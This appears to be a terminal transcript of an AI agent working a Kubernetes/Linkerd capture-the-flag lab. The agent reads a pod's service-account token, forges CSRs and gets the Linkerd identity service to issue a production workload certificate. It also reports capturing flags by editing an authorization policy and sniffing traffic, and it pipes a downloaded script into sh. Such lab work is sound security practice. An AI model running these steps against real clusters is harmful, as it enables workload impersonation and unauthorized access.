CSR_B64=$(base64 -w0 /tmp/mycsr.der)
/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d "{\"token\": \"$TOKEN\", \"identity\": \"default.production.serviceaccount.identity.linkerd.cluster.local\", \"certificate_signing_request\": \"$CSR_B64\"}" linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify 2>&1
'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c '
[?2004l
[?2004h> cat > /tmp/identity.proto << PROTOEOF
[?2004l
[?2004h> syntax = "proto3";
[?2004l
[?2004h> package io.linkerd.proxy.identity;
[?2004l
[?2004h> service Identity { rpc Certify (CertifyRequest) returns (CertifyResponse); }
[?2004l
[?2004h> message CertifyRequest { string identity = 1; bytes certificate_signing_request
t = 2; string token = 3; }
[?2004l
[?2004h> message CertifyResponse { bytes leaf_certificate = 1; repeated bytes intermedia
ate_certificates = 2; }
[?2004l
[?2004h> PROTOEOF
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null
l
[?2004l
[?2004h> openssl req -new -key /tmp/mykey.pem -out /tmp/mycsr.der -subj "/CN=default.pro
oduction.serviceaccount.identity.linkerd.cluster.local" -outform DER 2>/dev/null
[Aoduction.serviceaccount.identity.linkerd.cluster.local" -outform DER 2>/dev/nul[Kl
[?2004l
[?2004h> CSR_B64=$(base64 -w0 /tmp/mycsr.der)
[?2004l
[?2004h> /tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d "{\"token\":
: \"$TOKEN\", \"identity\": \"default.production.serviceaccount.identity.linkerd.
.cluster.local\", \"certificate_signing_request\": \"$CSR_B64\"}" linkerd-identit
ty.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify 2>&1
1
[?2004l
[?2004h> '
[?2004l
ERROR:
Code: InvalidArgument
Message: asn1: structure error: tags don't match (16 vs {class:1 tag:5 length:121 isCompound:true}) {optional:false explicit:false application:false private:false defaultValue:<nil> tag:<nil> stringType:0 timeType:0 set:false omitEmpty:false} certificateRequest @2
command terminated with exit code 67
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 67
Connection to 35.179.133.134 closed.{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
echo "openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null"
echo "openssl req -new -key /tmp/mykey.pem -subj \"/CN=default.production.serviceaccount.identity.linkerd.cluster.local\" -outform DER 2>/dev/null | base64 -w0 > /tmp/csr.b64"
echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
echo "CSR=\$(cat /tmp/csr.b64)"
echo "echo \"{\\\"identity\\\": \\\"default.production.serviceaccount.identity.linkerd.cluster.local\\\", \\\"certificate_signing_request\\\": \\\"\$CSR\\\", \\\"token\\\": \\\"\$TOKEN\\\"}\" > /tmp/req.json"
echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json 2>&1"
echo "'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -30CSR=$(cat /tmp/csr.b64)
echo "{\"identity\": \"default.production.serviceaccount.identity.linkerd.cluster.local\", \"certificate_signing_request\": \"$CSR\", \"token\": \"$TOKEN\"}" > /tmp/req.json
/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json 2>&1
'
exit
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '
openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null
openssl req -new -key /tmp/mykey.pem -subj "/CN=default.production.serviceaccount.identity.linkerd.cluster.local" -outform DER 2>/dev/null | base64 -w0 > /tmp/csr.b64
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CSR=$(cat /tmp/csr.b64)
echo "{\"identity\": \"default.production.serviceaccount.identity.linkerd.cluster.local\", \"certificate_signing_request\": \"$CSR\", \"token\": \"$TOKEN\"}" > /tmp/req.json
/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json 2>&1
'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c '
[?2004l
[?2004h> openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null
l
[?2004l
[?2004h> openssl req -new -key /tmp/mykey.pem -subj "/CN=default.production.serviceaccou
unt.identity.linkerd.cluster.local" -outform DER 2>/dev/null | base64 -w0 > /tmp/
/csr.b64
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> CSR=$(cat /tmp/csr.b64)
[?2004l
[?2004h> echo "{\"identity\": \"default.production.serviceaccount.identity.linkerd.clust
ter.local\", \"certificate_signing_request\": \"$CSR\", \"token\": \"$TOKEN\"}" >
> /tmp/req.json
[?2004l
[?2004h> /tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-id
dentity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify
y < /tmp/req.json 2>&1
[?2004l
[?2004h> '
[?2004l
ERROR:
Code: InvalidArgument
Message: asn1: structure error: tags don't match (16 vs {class:1 tag:5 length:121 isCompound:true}) {optional:false explicit:false application:false private:false defaultValue:<nil> tag:<nil> stringType:0 timeType:0 set:false omitEmpty:false} certificateRequest @2
command terminated with exit code 67
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 67
Connection to 35.179.133.134 closed.{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
echo "# Write CSR to file first, then encode"
echo "openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null"
echo "openssl req -new -key /tmp/mykey.pem -subj \"/CN=test\" -outform DER -out /tmp/mycsr.der 2>/dev/null"
echo "# Check the CSR is valid DER"
echo "xxd /tmp/mycsr.der | head -2"
echo "openssl req -in /tmp/mycsr.der -inform DER -noout -text 2>&1 | head -5"
echo "# Encode and call"
echo "CSR=\$(base64 -w0 /tmp/mycsr.der)"
echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
echo "echo \"{\\\"identity\\\": \\\"default.production.serviceaccount.identity.linkerd.cluster.local\\\", \\\"certificate_signing_request\\\": \\\"\$CSR\\\", \\\"token\\\": \\\"\$TOKEN\\\"}\" > /tmp/req.json"
echo "wc -c /tmp/req.json"
echo "head -c 200 /tmp/req.json"
echo "echo"
echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json 2>&1"
echo "'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -30[?2004l
[?2004h> openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null
l
[?2004l
[?2004h> openssl req -new -key /tmp/mykey.pem -subj "/CN=test" -outform DER -out /tmp/my
ycsr.der 2>/dev/null
[?2004l
[?2004h> # Check the CSR is valid DER
[?2004l
[?2004h> xxd /tmp/mycsr.der | head -2
[?2004l
[?2004h> openssl req -in /tmp/mycsr.der -inform DER -noout -text 2>&1 | head -5
[?2004l
[?2004h> # Encode and call
[?2004l
[?2004h> CSR=$(base64 -w0 /tmp/mycsr.der)
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> echo "{\"identity\": \"default.production.serviceaccount.identity.linkerd.clust
ter.local\", \"certificate_signing_request\": \"$CSR\", \"token\": \"$TOKEN\"}" >
> /tmp/req.json
[?2004l
[?2004h> wc -c /tmp/req.json
[?2004l
[?2004h> head -c 200 /tmp/req.json
[?2004l
[?2004h> echo
[?2004l
[?2004h> /tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-id
dentity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify
y < /tmp/req.json 2>&1
[?2004l
[?2004h> '
[?2004l
sh: 6: xxd: not found
Certificate Request:
Data:
Version: 1 (0x0)
Subject: CN=test
Subject Public Key Info:
1585 /tmp/req.json
{"identity": "default.production.serviceaccount.identity.linkerd.cluster.local", "certificate_signing_request": "MIHKMHECAQAwDzENMAsGA1UEAwwEdGVzdDBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABLM+vAHvWyV3qklCE8F
ERROR:
Code: InvalidArgument
Message: asn1: structure error: tags don't match (16 vs {class:1 tag:5 length:121 isCompound:true}) {optional:false explicit:false application:false private:false defaultValue:<nil> tag:<nil> stringType:0 timeType:0 set:false omitEmpty:false} certificateRequest @2
command terminated with exit code 67
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 67
Connection to 35.179.133.134 closed.{
echo "curl -sL https://run.linkerd.io/install-edge 2>/dev/null | sh 2>&1 | tail -5"
echo "export PATH=\$PATH:\$HOME/.linkerd2/bin"
echo "linkerd version 2>&1"
echo "linkerd diagnostics proxy-identity -n production receiver-794df886d7-8f427 2>&1 | head -40"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -50Looking for more? Visit https://linkerd.io/2/tasks
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexport PATH=$PATH:$HOME/.linkerd2/bin
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Klinkerd version 2>&1
[?2004l
Client version: edge-26.3.3
Server version: unavailable
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# linkerd diagnostics proxy-identity -n production r
receiver-794df886d7-8f427 2>&1 | head -40
[?2004l
Error: unknown shorthand flag: 'n' in -n
Usage:
linkerd diagnostics [command]
Aliases:
diagnostics, dg
Examples:
# Get control-plane component metrics
linkerd diagnostics controller-metrics
# Get metrics from the web deployment in the emojivoto namespace.
linkerd diagnostics proxy-metrics -n emojivoto deploy/web
# Get the endpoints for authorities in Linkerd's control-plane itself
linkerd diagnostics endpoints web.linkerd-viz.svc.cluster.local:8084
Available Commands:
controller-metrics Fetch metrics directly from the Linkerd control plane containers
endpoints Introspect Linkerd's service discovery state
policy Introspect Linkerd's policy state
profile Introspect Linkerd's service discovery state
proxy-metrics Fetch metrics directly from Linkerd proxies
Flags:
-h, --help help for diagnostics
Global Flags:
--api-addr string Override kubeconfig and communicate directly with the control plane at host:port (mostly for testing)
--as string Username to impersonate for Kubernetes operations
--as-group stringArray Group to impersonate for Kubernetes operations
--cni-namespace string Namespace in which the Linkerd CNI plugin is installed (default "linkerd-cni")
--context string Name of the kubeconfig context to use
--kubeconfig string Path to the kubeconfig file to use for CLI requests
-L, --linkerd-namespace string Namespace in which Linkerd is installed ($LINKERD_NAMESPACE) (default "linkerd")
--verbose Turn on debug logging
Use "linkerd diagnostics [command] --help" for more information about a command.
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
Connection to 35.179.133.134 closed.{
echo "export PATH=\$PATH:\$HOME/.linkerd2/bin"
echo "linkerd identity --help 2>&1"
echo "echo ==="
echo "linkerd diagnostics policy -n production receiver-794df886d7-8f427 8080 2>&1 | head -40"
echo "echo ==="
echo "linkerd check --proxy -n production 2>&1 | head -20"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -50[?2004l
Error: pods is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "pods" in API group "" in the namespace "linkerd"
Usage:
linkerd diagnostics policy [flags] resource port
Examples:
# get the inbound policy for pod emoji-6d66d87995-bvrnn on port 8080
linkerd diagnostics policy -n emojivoto po/emoji-6d66d87995-bvrnn 8080
# get the outbound policy for Service emoji-svc on port 8080
linkerd diagnostics policy -n emojivoto svc/emoji-svc 8080
Flags:
--destination-pod string Target a specific destination Pod when there are multiple running
-h, --help help for policy
-n, --namespace string Namespace of resource (default "default")
-o, --output string Output format. One of: yaml, json (default "yaml")
--token string Token to use when querying the policy service (default "default:diagnostics")
Global Flags:
--api-addr string Override kubeconfig and communicate directly with the control plane at host:port (mostly for testing)
--as string Username to impersonate for Kubernetes operations
--as-group stringArray Group to impersonate for Kubernetes operations
--cni-namespace string Namespace in which the Linkerd CNI plugin is installed (default "linkerd-cni")
--context string Name of the kubeconfig context to use
--kubeconfig string Path to the kubeconfig file to use for CLI requests
-L, --linkerd-namespace string Namespace in which Linkerd is installed ($LINKERD_NAMESPACE) (default "linkerd")
--verbose Turn on debug logging
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho ===
[?2004l
===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# linkerd check --proxy -n production 2>&1 | head -2
20
[?2004l
kubernetes-api
--------------
√ can initialize the client
√ can query the Kubernetes API
kubernetes-version
------------------
√ is running the minimum Kubernetes API version
linkerd-existence
-----------------
× 'linkerd-config' config map exists
configmaps "linkerd-config" is forbidden: User "system:serviceaccount:default:jumppod" cannot get resource "configmaps" in API group "" in the namespace "linkerd"
see https://linkerd.io/2/checks/#l5d-existence-linkerd-config for hints
Status check results are ×
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
Connection to 35.179.133.134 closed.Let me report on progress. We found 2 out of 3 flags. The gateway flag (Flag 1) requires a client cert signed by the real Linkerd-CTF CA. The cert in the CTP annotation is signed by a fake/different CA with the same name.
Flags captured:
1. flag_ctf{not_so_supersecret_anymore} - Accessed the supersecret service by modifying the MeshTLSAuthentication to add the receiver pod's Linkerd identity (default.production.serviceaccount.identity.linkerd.cluster.local)
2. flag_ctf{caught_in_the_wire} - Used tcpdump in the debug-tools container to capture the periodic HTTP request from the supersecret namespace, which included the flag in an x-flag HTTP header
Flag 1 (gateway) - still working: The Envoy Gateway requires a client cert signed by the Linkerd-CTF CA. The cert/key in the ClientTrafficPolicy annotations are a decoy (signed by a different CA with the same name). I've been trying to get a cert signed by the real CA via the Linkerd Identity service's gRPC API, but hitting ASN.1 encoding issues with the CSR.
Want me to continue working on the gateway flag, or would you like to move on?
Let me think about this differently. The gateway needs a client cert from the real Linkerd-CTF CA. Let me fix the gRPC CSR encoding issue — the problem was likely the protobuf field ordering or encoding.
{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
echo "# Generate key and CSR to file"
echo "openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null"
echo "openssl req -new -key /tmp/mykey.pem -subj \"/CN=default.production.serviceaccount.identity.linkerd.cluster.local\" -outform DER -out /tmp/mycsr.der 2>/dev/null"
echo "# Verify CSR hex starts with 0x30 (SEQUENCE)"
echo "od -A x -t x1z -N 4 /tmp/mycsr.der"
echo "# Write req.json carefully using printf to avoid shell escaping issues"
echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
echo "CSR=\$(base64 -w0 /tmp/mycsr.der)"
echo "printf \"{\\\\\"identity\\\\\":\\\\\"default.production.serviceaccount.identity.linkerd.cluster.local\\\\\",\\\\\"certificate_signing_request\\\\\":\\\\\"%s\\\\\",\\\\\"token\\\\\":\\\\\"%s\\\\\"}\" \"\$CSR\" \"\$TOKEN\" > /tmp/req.json"
echo "# Verify the JSON starts correctly"
echo "head -c 100 /tmp/req.json"
echo "echo"
echo "# Try the call"
echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json 2>&1 | head -20"
echo "'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -25'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c '
[?2004l
[?2004h> # Generate key and CSR to file
[?2004l
[?2004h> openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null
l
[?2004l
[?2004h> openssl req -new -key /tmp/mykey.pem -subj "/CN=default.production.serviceaccou
unt.identity.linkerd.cluster.local" -outform DER -out /tmp/mycsr.der 2>/dev/null
[Aunt.identity.linkerd.cluster.local" -outform DER -out /tmp/mycsr.der 2>/dev/nul[Kl
[?2004l
[?2004h> # Verify CSR hex starts with 0x30 (SEQUENCE)
[?2004l
[?2004h> od -A x -t x1z -N 4 /tmp/mycsr.der
[?2004l
[?2004h> # Write req.json carefully using printf to avoid shell escaping issues
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> CSR=$(base64 -w0 /tmp/mycsr.der)
[?2004l
[?2004h> printf "{\\"identity\\":\\"default.production.serviceaccount.identity.linkerd.c
cluster.local\\",\\"certificate_signing_request\\":\\"%s\\",\\"token\\":\\"%s\\"}
}" "$CSR" "$TOKEN" > /tmp/req.json
[?2004l
[?2004h> # Verify the JSON starts correctly
[?2004l
[?2004h> head -c 100 /tmp/req.json
[?2004l
[?2004h> echo
[?2004l
[?2004h> # Try the call
[?2004l
[?2004h> /tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-id
dentity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify
y < /tmp/req.json 2>&1 | head -20
[?2004l
[?2004h> '
[?2004l
000000 30 82 01 06 >0...<
000004
{\identity\:\default.production.serviceaccount.identity.linkerd.cluster.local\,\certificate_signing_
Error invoking method "io.linkerd.proxy.identity.Identity/Certify": error getting request data: invalid character '\\' looking for beginning of object key string
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
echo "CSR=\$(base64 -w0 /tmp/mycsr.der)"
echo "# Use heredoc to avoid escaping hell"
echo "cat > /tmp/req.json << JSONEOF"
echo "{\"identity\":\"default.production.serviceaccount.identity.linkerd.cluster.local\",\"certificate_signing_request\":\"\$CSR\",\"token\":\"\$TOKEN\"}"
echo "JSONEOF"
echo "# Verify JSON is valid"
echo "head -c 120 /tmp/req.json"
echo "echo"
echo "echo json_size=\$(wc -c < /tmp/req.json)"
echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json 2>&1 | head -30"
echo "'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -25echo json_size=$(wc -c < /tmp/req.json)
/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json 2>&1 | head -30
'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c '
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> CSR=$(base64 -w0 /tmp/mycsr.der)
[?2004l
[?2004h> # Use heredoc to avoid escaping hell
[?2004l
[?2004h> cat > /tmp/req.json << JSONEOF
[?2004l
[?2004h> {"identity":"default.production.serviceaccount.identity.linkerd.cluster.local",
,"certificate_signing_request":"$CSR","token":"$TOKEN"}
[?2004l
[?2004h> JSONEOF
[?2004l
[?2004h> # Verify JSON is valid
[?2004l
[?2004h> head -c 120 /tmp/req.json
[?2004l
[?2004h> echo
[?2004l
[?2004h> echo json_size=$(wc -c < /tmp/req.json)
[?2004l
[?2004h> /tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d @ linkerd-id
dentity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify
y < /tmp/req.json 2>&1 | head -30
[?2004l
[?2004h> '
[?2004l
{"identity":"default.production.serviceaccount.identity.linkerd.cluster.local","certificate_signing_request":"MIIBBjCBrQ
json_size=1660
ERROR:
Code: InvalidArgument
Message: asn1: structure error: tags don't match (16 vs {class:1 tag:5 length:121 isCompound:true}) {optional:false explicit:false application:false private:false defaultValue:<nil> tag:<nil> stringType:0 timeType:0 set:false omitEmpty:false} certificateRequest @2
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
echo "# Try with swapped field numbers"
echo "cat > /tmp/identity2.proto << PROTOEOF"
echo 'syntax = "proto3";'
echo 'package io.linkerd.proxy.identity;'
echo 'service Identity { rpc Certify (CertifyRequest) returns (CertifyResponse); }'
echo 'message CertifyRequest { string identity = 1; string token = 2; bytes certificate_signing_request = 3; }'
echo 'message CertifyResponse { bytes leaf_certificate = 1; repeated bytes intermediate_certificates = 2; }'
echo "PROTOEOF"
echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
echo "CSR=\$(base64 -w0 /tmp/mycsr.der)"
echo "cat > /tmp/req2.json << JSONEOF"
echo "{\"identity\":\"default.production.serviceaccount.identity.linkerd.cluster.local\",\"certificate_signing_request\":\"\$CSR\",\"token\":\"\$TOKEN\"}"
echo "JSONEOF"
echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity2.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req2.json 2>&1 | head -20"
echo "'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -20[?2004l
[?2004h> cat > /tmp/identity2.proto << PROTOEOF
[?2004l
[?2004h> syntax = "proto3";
[?2004l
[?2004h> package io.linkerd.proxy.identity;
[?2004l
[?2004h> service Identity { rpc Certify (CertifyRequest) returns (CertifyResponse); }
[?2004l
[?2004h> message CertifyRequest { string identity = 1; string token = 2; bytes certifica
ate_signing_request = 3; }
[?2004l
[?2004h> message CertifyResponse { bytes leaf_certificate = 1; repeated bytes intermedia
ate_certificates = 2; }
[?2004l
[?2004h> PROTOEOF
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> CSR=$(base64 -w0 /tmp/mycsr.der)
[?2004l
[?2004h> cat > /tmp/req2.json << JSONEOF
[?2004l
[?2004h> {"identity":"default.production.serviceaccount.identity.linkerd.cluster.local",
,"certificate_signing_request":"$CSR","token":"$TOKEN"}
[?2004l
[?2004h> JSONEOF
[?2004l
[?2004h> /tmp/grpcurl -plaintext -import-path /tmp -proto identity2.proto -d @ linkerd-i
identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certif
fy < /tmp/req2.json 2>&1 | head -20
[?2004l
[?2004h> '
[?2004l
ERROR:
Code: FailedPrecondition
Message: CSR must have exactly one DNSName
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.Progress! The field numbers were swapped. Now the error is "CSR must have exactly one DNSName" — meaning the server received and parsed the CSR correctly, but it needs a SAN (Subject Alternative Name) with a DNS name. Let me fix the CSR.
{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
echo "# Generate CSR with SAN DNS name"
echo "openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null"
echo "cat > /tmp/csr.cnf << CNFEOF"
echo "[req]"
echo "default_bits = 256"
echo "prompt = no"
echo "distinguished_name = dn"
echo "req_extensions = v3_req"
echo "[dn]"
echo "CN = default.production.serviceaccount.identity.linkerd.cluster.local"
echo "[v3_req]"
echo "subjectAltName = DNS:default.production.serviceaccount.identity.linkerd.cluster.local"
echo "CNFEOF"
echo "openssl req -new -key /tmp/mykey.pem -config /tmp/csr.cnf -outform DER -out /tmp/mycsr.der 2>/dev/null"
echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
echo "CSR=\$(base64 -w0 /tmp/mycsr.der)"
echo "cat > /tmp/req3.json << JSONEOF"
echo "{\"identity\":\"default.production.serviceaccount.identity.linkerd.cluster.local\",\"certificate_signing_request\":\"\$CSR\",\"token\":\"\$TOKEN\"}"
echo "JSONEOF"
echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity2.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req3.json 2>&1 | head -30"
echo "'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -30[?2004l
[?2004h> # Generate CSR with SAN DNS name
[?2004l
[?2004h> openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null
l
[?2004l
[?2004h> cat > /tmp/csr.cnf << CNFEOF
[?2004l
[?2004h> [req]
[?2004l
[?2004h> default_bits = 256
[?2004l
[?2004h> prompt = no
[?2004l
[?2004h> distinguished_name = dn
[?2004l
[?2004h> req_extensions = v3_req
[?2004l
[?2004h> [dn]
[?2004l
[?2004h> CN = default.production.serviceaccount.identity.linkerd.cluster.local
[?2004l
[?2004h> [v3_req]
[?2004l
[?2004h> subjectAltName = DNS:default.production.serviceaccount.identity.linkerd.cluster
r.local
[?2004l
[?2004h> CNFEOF
[?2004l
[?2004h> openssl req -new -key /tmp/mykey.pem -config /tmp/csr.cnf -outform DER -out /tm
mp/mycsr.der 2>/dev/null
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> CSR=$(base64 -w0 /tmp/mycsr.der)
[?2004l
[?2004h> cat > /tmp/req3.json << JSONEOF
[?2004l
[?2004h> {"identity":"default.production.serviceaccount.identity.linkerd.cluster.local",
,"certificate_signing_request":"$CSR","token":"$TOKEN"}
[?2004l
[?2004h> JSONEOF
[?2004l
[?2004h> /tmp/grpcurl -plaintext -import-path /tmp -proto identity2.proto -d @ linkerd-i
identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certif
fy < /tmp/req3.json 2>&1 | head -30
[?2004l
[?2004h> '
[?2004l
{
"leafCertificate": "MIICBDCCAaqgAwIBAgIBCTAKBggqhkjOPQQDAjApMScwJQYDVQQDEx5pZGVudGl0eS5saW5rZXJkLmNsdXN0ZXIubG9jYWwwHhcNMjYwMzI1MTEzNDI3WhcNMjYwMzI2MTEzNTA3WjBLMUkwRwYDVQQDE0BkZWZhdWx0LnByb2R1Y3Rpb24uc2VydmljZWFjY291bnQuaWRlbnRpdHkubGlua2VyZC5jbHVzdGVyLmxvY2FsMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEiQ7hDsAnhrhyu2RrKtH4Q3bAaNVmJLetY3OfxNRL8YM2tExkIzE1FRpoaYtxTAhKLr3LQfN7CiyUQEbST+8viKOBoDCBnTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMB8GA1UdIwQYMBaAFEhP2Q7Sl1xUJz7fPIrAegm06EEDMEsGA1UdEQREMEKCQGRlZmF1bHQucHJvZHVjdGlvbi5zZXJ2aWNlYWNjb3VudC5pZGVudGl0eS5saW5rZXJkLmNsdXN0ZXIubG9jYWwwCgYIKoZIzj0EAwIDSAAwRQIgL3IJSJW21K+MG+XqXlImCuBKKZBwIrVHlFYXEWQDgrICIQDDfJ3zUbog5Jt+kZnr0uFe98KjmUdhpL9WkBjPUBjGTw==",
"intermediateCertificates": [
